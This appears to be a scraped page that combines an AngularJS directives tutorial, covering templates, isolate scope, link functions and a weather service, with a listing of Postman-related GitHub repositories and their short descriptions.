When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. | 0 stars | 0 watchers | 14 forks |
|
zprager/mongo-express-auth-demo auth, authentication, bcrypt, directory, express, included, mongo, route, routes, user |
Boiler plate for user authentication with bcrypt, jwt, mongo, and express from Heroku. Postman routes included in root directory. | 0 stars | 0 watchers | 6 forks |
|
MayMP/NodeJsExpressMongoDB center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit |
This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. | 1 stars | 1 watchers | 0 forks |
|
skhetarpaul/project-back-end arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users |
This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. | 1 stars | 1 watchers | 0 forks |
|
xrayin/springboot-rest-image-retriever application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system |
A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png | 0 stars | 0 watchers | 1 forks |
|
k4l397/newman-dr client, collection, collections, directory, java, javascript, newman, runs, script, tool, wraps |
This is a javascript tool that wraps the newman postman client and runs all collections in a directory. | 0 stars | 0 watchers | 0 forks |
|
letsdodatascience/directory-api backend, boot, bootcamp, data, directory, odata |
backend for bootcamp api | 0 stars | 0 watchers | 0 forks |
|
fbenz/restdocs-to-postman collection, collections, docs, rest, snippet, snippets |
Converts Spring REST Docs cURL snippets to Postman and Insomnia collections | 31 stars | 31 watchers | 5 forks |
|
buckle/restdocs-tool-export docs, download, export, exports, import, imported, rest, snippet, snippets, tool |
Generates AsciiDoc snippets via Spring Restdocs that are exports for Insomnia or Postman that can be download and imported. | 1 stars | 1 watchers | 0 forks |
|
cloudmine/redox_integrations_demo cloud, collection, form, houses, integration, script, snippet, snippets |
This repo houses a Postman collection and Javascript snippets which form a Redox demo. | 0 stars | 0 watchers | 1 forks |
|
Anirudh184/postman-test-code-snippets snippet, snippets, test |
Test code snippets for postman | 0 stars | 0 watchers | 0 forks |
|
arashout/postman-collection-gen collection, snippet, snippets |
Generate code snippets from Postman Collections | 0 stars | 0 watchers | 0 forks |
|
ashleyfulks/postmanRubyCode operation, operations, snippet, snippets |
creating code snippets in Ruby for Postman operations | 0 stars | 0 watchers | 0 forks |
|
Jnchi/postman-test-snippets snippet, snippets, test |
Postman Test Script Snippets | 0 stars | 0 watchers | 0 forks |
|
thecopy/apiary2postman apiary2postman, collection, copy, generating, print, rating |
Tool for generating a Postman collection from Blueprint API markup or the Apiary API | 0 stars | 0 watchers | 25 forks |
|
alioygur/postman2html collection, file, generating, html, postman collection, rating |
generating html file from a postman collection file | 4 stars | 4 watchers | 3 forks |
|
p8ul/postman2apiary collection, generating, print, rating |
Tool for generating Blueprint API markup or the Apiary API from a Postman collection. | 0 stars | 0 watchers | 8 forks |
|
api-evangelist/environments environment, environments, generating, list, rating, token, tokens |
This is a project for generating tokens and Postman environments. | 1 stars | 1 watchers | 0 forks |
|
ScottReed/iis-redirect-generator config, generating, generator, postman tests, rating, redirect, test, tests |
A redirect generator for generating IIS redirects in web.config and postman tests | 1 stars | 1 watchers | 0 forks |
|
sonali-developer/SmackApplication application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users |
App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. | 0 stars | 0 watchers | 2 forks |
|
Mol0ko/AlamofireRouterGenerator application, collection, generating, json, rating, route, router |
MacOS application for generating Swift 3 Alamofire router enum from Postman json collection | 0 stars | 0 watchers | 0 forks |
|
MayMP/NodeJsExpressMongoDB center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit |
This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. | 1 stars | 1 watchers | 0 forks |
|
aymenfurter/ubuntu-dev-vagrant development, general, grant, install, installed, integration, ubuntu |
Ubuntu Dev Station with preinstalled Postman, SOAPUI, VSCode, Eclipse, Maven, JDK 8 / 11, plantUML, i3 for integration and general purpose development work. | 0 stars | 0 watchers | 0 forks |
|
Gyanachand1/Blockchain action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user |
# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
|
Jaxs01/Postman-JSONdb install, installed, test, tests |
some simple End to End tests with installed Node.js and Postman | 0 stars | 0 watchers | 0 forks |
|
MeteorLyon/Postman-MeteorJs application, chrome, collection, collections, data, install, installed, plugin, problem, server, sync |
The Postman chrome plugin is a cool application. The problem is when you sync your collections, you don't own your data, so it's no more cool. The aim of the project is to allow every one to get the same cool app, but that can be installed on it's own server, so you own your datas. | 0 stars | 0 watchers | 0 forks |
|
saimatsumoto/yarn-postman-newman install, installed, mock, newman, running, test |
a mock-up repo to test out running postman API test with newman, installed via yarn instead of npm | 0 stars | 0 watchers | 0 forks |
|
Inn4ki/chatapp admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app |
NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js | 4 stars | 4 watchers | 5 forks |
|
micc83/PostmanCanFail case, enable, enabled, error, logging, mail, send |
Notice via mail() or Rollbar in case of WordPress Postman SMTP Mailer sending errors. Postman logging must be enabled. | 1 stars | 1 watchers | 0 forks |
|
anu0012/blogging-app-backend application, backend, blog, blogging, logging |
REST APIs for a blogging application | 0 stars | 0 watchers | 0 forks |
|
Fragomeli/startnow-node101-vstda-api logging, node |
making HTTP requests GET, POST, DELETE and logging them using Postman. | 0 stars | 0 watchers | 0 forks |
|
naitik0212/Behavioral_logging captured, logging |
User Behavior Actions captured. Technologies: MongoDB, Express, Node, D3, HighCharts, JavaScript, Axios, HTML, CSS, BootStrap4, AJAX, Postman. | 0 stars | 0 watchers | 0 forks |
|
warrencook6/new-login-auth-method auth, function, functional, logging, login, method, route, routes |
Messing around logging in and having protected routes. Not fully functional, have to use postman to run it. | 0 stars | 0 watchers | 0 forks |
|
buckle/restdocs-tool-export docs, download, export, exports, import, imported, rest, snippet, snippets, tool |
Generates AsciiDoc snippets via Spring Restdocs that are exports for Insomnia or Postman that can be download and imported. | 1 stars | 1 watchers | 0 forks |
|
PhillippOhlandt/pmtoapib collection, convert, document, documentation, export, exports, print |
Tool to convert Postman collection exports to Api Blueprint documentation | 0 stars | 0 watchers | 1 forks |
|
AJdelphix/Postman export, exports |
Repo for Postman API exports | 0 stars | 0 watchers | 0 forks |
|
cfitz1995/postman-splitter command, export, exports, import, util, utility |
Node.js command-line utility for importing/exports individual Postman requests | 0 stars | 0 watchers | 0 forks |
|
eloythub/postman-api.eloyt.com eloyt, export, exports |
Postman exports for eloyt api | 0 stars | 0 watchers | 0 forks |
|
john-lock/postman-export-formatter default, description, export, exports, file, form, format, formatter, path, script, upload, user, users |
A formatter for Postman Collection exports for file uploads. Allowing users to put the desired path in the description and have this path writtening into the file upload path - rather than having the default relative paths given by PM | 0 stars | 0 watchers | 0 forks |
|
tony709394/postchildren-web postwoman, test, tool, visual, visualization |
👨👦👦 A E2E test visualization tool (get along with postman and postwoman) | 27 stars | 27 watchers | 0 forks |
|
tony709394/postchildren-desktop desktop, postwoman, test, tool, visual, visualization |
👨👦👦 A E2E test visualization tool (get along with postman and postwoman) | 15 stars | 15 watchers | 0 forks |
|
brooksandrew/postman_problems_examples example, examples, problem, route, stat, visual, visualization |
Optimal route to ride every state avenue in DC: RPP optimization with OSM visualization | 1 stars | 1 watchers | 1 forks |
|
api-evangelist-visualizations/postman-tag-cloud cloud, list, tool, visual, visualization |
This is a Postman visualizer tool. | 1 stars | 1 watchers | 0 forks |
|
chuckpaquette/SMGR-REST-SIP-Entities data, entity, returned, struct, structure, visual, visualization |
Postman code for visualization of the data structure returned by SMGR SIP entity REST request | 0 stars | 0 watchers | 0 forks |
|
LennartCockx/postman-generic-json-visualize beta, display, generic, json, play, script, util, utilizes, visual, visualization |
A script which utilizes the (beta) visualization option from postman to display any json response in a more visual manner | 0 stars | 0 watchers | 0 forks |
|
daxdax89/Postman-WP-Plugin fields, form |
Custom form fields WordPress | 0 stars | 0 watchers | 0 forks |
|
gustavrannestig/postman-encryptedCharfields django, fields, fork, message, nest, storing, subject |
A fork of django-postman that encrypt the body and subject of a message before storing in db | 0 stars | 0 watchers | 0 forks |
|
nikitaphopse/django_customer_base_project action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions |
We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku | 0 stars | 0 watchers | 0 forks |
|
prototypsthlm/postman-encryptedCharfields django, fields, fork |
A fork of django-postman to encrypt a pair of fields | 0 stars | 0 watchers | 0 forks |
|
saveenchad/AjaxExplorer common, config, configuration, configurations, fields, form, play, remote, send, tool, user |
The Super Endpoint Explorer (SEE) app will allow the end user to craft requests to a remote end-point by filling out various form fields, send the request and show the response, and save common request configurations for later playback. The form of the tool is roughly like the Chrome Extension called Postman or an OSX HTTP exploration like Paw but obviously less polished and feature laden. | 0 stars | 0 watchers | 0 forks |
|
sharrop/swag-post-gen excel, fields, file, form, generator, inject, module, require, required, swagger, swagger2, test, tests, type |
A Swagger(OAS)v2-to-Postman generator - very much sitting on the shoulders of the excellent npm:swagger2-postman-generator module, but injecting Postman tests for required fields and type conformance - derived from the Swagger/OAS file. | 0 stars | 0 watchers | 0 forks |
|
CoVital-Project/pulse-ox-data-collection-web-service client, clients, collection, data, mobile, receiving, service |
HTTPS API for receiving pulse oximetry from mobile clients | 2 stars | 2 watchers | 1 forks |
|
red5pro/red5pro-api-client admin, client, clients, clientside, function, functional, group, mini |
A set of Postman clientside API calls grouped by functionality for administering Red5 Pro | 1 stars | 1 watchers | 0 forks |
|
rishav394/Email-sender-no-IMAP client, clients, college, command, command line, curl, e mail, email, lines, mail, send, sender, sends, site, tool, tools |
Handles POST request to the site and sends the mail accordingly. Useful to send mail using curl, POSTMAN or other command lines tools when email clients are blocked by your org or college. | 1 stars | 1 watchers | 0 forks |
|
Earthport/rest-api-postman client, clients, collection, collections, integration, rest, test |
This repository contains Postman collections to help Earthport clients test their integration into Earthport's APIs | 0 stars | 0 watchers | 0 forks |
|
BlitZC4/SpringBootJacksonProjectBinding background, browser, client, clients, embedded, file, files, print |
A SpringBoot Demo app using Jackson project in the background to print out the Json files that are embedded in the project on the clients screen when it sneds GET request through a browser or a REST client like postman. | 0 stars | 0 watchers | 0 forks |
|
isildur93/Simple-Auth-system client, clients, display, express, login, method, play, signup, system, track |
